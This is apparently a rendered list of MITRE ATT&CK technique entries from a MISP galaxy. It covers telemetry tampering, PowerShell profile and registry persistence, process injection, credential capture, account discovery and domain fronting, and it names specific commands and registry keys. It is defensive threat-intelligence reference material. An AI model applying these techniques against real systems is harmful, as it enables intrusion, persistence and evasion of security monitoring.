An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).
ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.
In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.
The tag is: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054"
Links |
https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events |
PowerShell Profile - T1504
Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)
Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)
The tag is: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504"
Software Packing - T1045
Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.
Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.
Adversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable’s original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)
The tag is: misp-galaxy:mitre-attack-pattern="Software Packing - T1045"
Links |
https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf |
Biometric Spoofing - T1460
An adversary could attempt to spoof a mobile device’s biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).
iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Biometric Spoofing - T1460"
Biometric Spoofing - T1460 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
Links |
Data Staged - T1074
Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022).
Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.
The tag is: misp-galaxy:mitre-attack-pattern="Data Staged - T1074"
Links |
Execution Guardrails - T1480
Execution guardrails constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target.
Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.
Environmental keying is one type of guardrail that includes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).
Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use guardrails and environmental keying to help protect their TTPs and evade detection. For example, environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) In general, guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) where a decision can be made not to further engage because the value conditions specified by the adversary are meant to be target specific and not such that they could occur in any environment.
The tag is: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480"
Process Injection - T1055
Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Windows
There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)
-
Dynamic-link library (DLL) injection involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.
-
Portable executable injection involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)
-
Thread execution hijacking involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.
-
Asynchronous Procedure Call (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process’s thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)
-
Thread Local Storage (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code’s legitimate entry point. (Citation: FireEye TLS Nov 2017)
Mac and Linux
Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)
-
LD_PRELOAD, LD_LIBRARY_PATH (Linux), DYLD_INSERT_LIBRARIES (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)
-
Ptrace system calls can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)
-
/proc/[pid]/mem provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)
-
VDSO hijacking performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)
Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
The tag is: misp-galaxy:mitre-attack-pattern="Process Injection - T1055"
Input Capture - T1056
Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)
Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.
Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)
The tag is: misp-galaxy:mitre-attack-pattern="Input Capture - T1056"
Links |
http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf |
Process Discovery - T1057
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Windows
An example command that would obtain details on processes is "tasklist" using the [Tasklist](https://attack.mitre.org/software/S0057) utility.
Mac and Linux
In Mac and Linux, this is accomplished with the <code>ps</code> command.
The tag is: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057"
Links |
Account Discovery - T1087
Adversaries may attempt to get a listing of local system or domain accounts.
Windows
Example commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.
Mac
On Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.
Linux
On Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.
Also, groups can be enumerated through the <code>groups</code> and <code>id</code> commands.
Office 365 and Azure AD
With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance)
Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)
The <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)
The tag is: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087"
Valid Accounts - T1078
Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access.
Accounts that an adversary may use can fall into three categories: default, local, and domain accounts. Default accounts are those that are built-into an OS such as Guest or Administrator account on Windows systems or default factory/provider set accounts on other types of systems, software, or devices. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.
Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Default accounts are also not limited to Guest and Administrator on client machines, they also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or COTS. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed private keys, or stolen private keys, to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021) (Citation: Metasploit SSH Module)
The overlap of account access, credentials, and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
The tag is: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"
Multilayer Encryption - T1079
An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.
The tag is: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079"
Account Manipulation - T1098
Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
Exchange Email Account Takeover
The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)
Azure AD
In Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death)
AWS
AWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing)
The tag is: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"
Modify Registry - T1112
Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.
Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).
Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)
The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system’s [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.
The tag is: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"
Authentication Package - T1131
Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)
Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.
The tag is: misp-galaxy:mitre-attack-pattern="Authentication Package - T1131"
Links |
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx |
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
Screen Capture - T1113
Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.
Mac
On OSX, the native command <code>screencapture</code> is used to capture screenshots.
Linux
On Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)
The tag is: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"
Links |
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ |
Dynamic DNS - T1311
Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)
The tag is: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311"
Dynamic DNS - T1311 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333" with estimative-language:likelihood-probability="almost-certain"
Links |
Email Collection - T1114
Adversaries may target user email to collect sensitive information from a target.
Files containing email data can be acquired from a user’s system, such as Outlook storage or cache files .pst and .ost.
Adversaries may leverage a user’s credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific key words.(Citation: Black Hills MailSniper, 2017)
Email Forwarding Rule
Adversaries may also abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: TIMMCMIC, 2014)
Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.
The tag is: misp-galaxy:mitre-attack-pattern="Email Collection - T1114"
Input Prompt - T1411
The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information.
Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)
Specific approaches to this technique include:
Impersonate the identity of a legitimate application
A malicious application could impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and get installed on the device. The malicious app could then prompt the user for sensitive information.(Citation: eset-finance)
Display a prompt on top of a running legitimate application
A malicious application could display a prompt on top of a running legitimate application to trick users into entering sensitive information into the malicious application rather than the legitimate application. Typically, the malicious application would need to know when the targeted application (and individual activity within the targeted application) is running in the foreground, so that the malicious application knows when to display its prompt. Android 5.0 and 5.1.1, respectively, increased the difficulty of determining the current foreground application through modifications to the ActivityManager
API.(Citation: Android-getRunningTasks)(Citation: StackOverflow-getRunningAppProcesses). A malicious application can still abuse Android’s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Approaches to display a prompt include:
-
A malicious application could start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)
-
A malicious application could create an application overlay window on top of a running legitimate application. Applications must hold the
SYSTEM_ALERT_WINDOW
permission to create overlay windows. This permission is handled differently than typical Android permissions, and at least under certain conditions is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) TheSYSTEM_ALERT_WINDOW
permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)
Fake device notifications
A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.(Citation: Group IB Gustuff Mar 2019)
The tag is: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411"
Input Prompt - T1141
When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).
Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).
The tag is: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141"
Clipboard Data - T1115
Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications.
Windows
Applications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard)
Mac
OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents (Citation: Operating with EmPyre).
The tag is: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"
Links |
LC_LOAD_DYLIB Addition - T1161
Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).
The tag is: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161"
Links |
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf |
Code Signing - T1116
Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)
Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)
Code signing certificates may be used to bypass security policies that require signed code to execute on a system.
The tag is: misp-galaxy:mitre-attack-pattern="Code Signing - T1116"
Links |
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates |
http://www.thesafemac.com/new-signed-malware-called-janicab/ |
Automated Collection - T1119
Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools.
This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.
The tag is: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119"
Links |
Template Injection - T1221
Microsoft’s Open Office XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)
Properties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.
Adversaries may abuse this technology to initially conceal malicious code to be executed via documents (i.e. [Scripting](https://attack.mitre.org/techniques/T1064)). Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)
This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)
The tag is: misp-galaxy:mitre-attack-pattern="Template Injection - T1221"
Audio Capture - T1123
An adversary can leverage a computer’s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
The tag is: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123"
Links |
Data Encoding - T1132
Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
The tag is: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132"
Links |
Capture Camera - T1512
Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the android.permission.CAMERA
permission to access the camera. In iOS, applications must include the NSCameraUsageDescription
key in the Info.plist
file, and must request access to the camera at runtime.
The tag is: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html |
Video Capture - T1125
An adversary can leverage a computer’s peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim’s screen.
In macOS, there are a few different malware samples that record the user’s webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)
The tag is: misp-galaxy:mitre-attack-pattern="Video Capture - T1125"
Links |
Login Item - T1162
MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user’s context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user’s <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).
The tag is: misp-galaxy:mitre-attack-pattern="Login Item - T1162"
Domain Fronting - T1172
Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).
For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
The tag is: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172"
Links |
AppCert DLLs - T1182
Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.
The tag is: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182"
Links |
Spearphishing Link - T1192
Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.
